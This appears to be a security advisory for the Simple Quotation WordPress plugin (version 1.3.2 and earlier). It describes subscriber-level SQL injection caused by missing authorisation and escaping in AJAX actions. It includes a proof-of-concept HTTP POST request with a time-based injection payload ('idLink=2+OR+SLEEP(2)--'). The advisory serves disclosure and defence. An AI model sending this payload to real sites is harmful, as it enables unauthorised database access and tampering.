Simple Quotation <= 1.3.2 - Subscriber+ SQL injection

2022-02-1600:00:00

abhishek bhoir

sql injection

subscriber+

post request

delete link

EPSS

0.001

Percentile

37.7%

JSON

The plugin does not have authorisation (and CSRF) checks in various of its AJAX actions and is lacking escaping of user data when using it in SQL statements, allowing any authenticated users, such as subscriber to perform SQL injection attacks

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Connection: close
Cookie: [subscriber+]

action=delete_link&idLink=2+OR+SLEEP(2)--

EPSS

0.001

Percentile

37.7%

JSON

Related for WPEX-ID:6940A97E-5A75-405C-BE74-BEDCC3A8EE00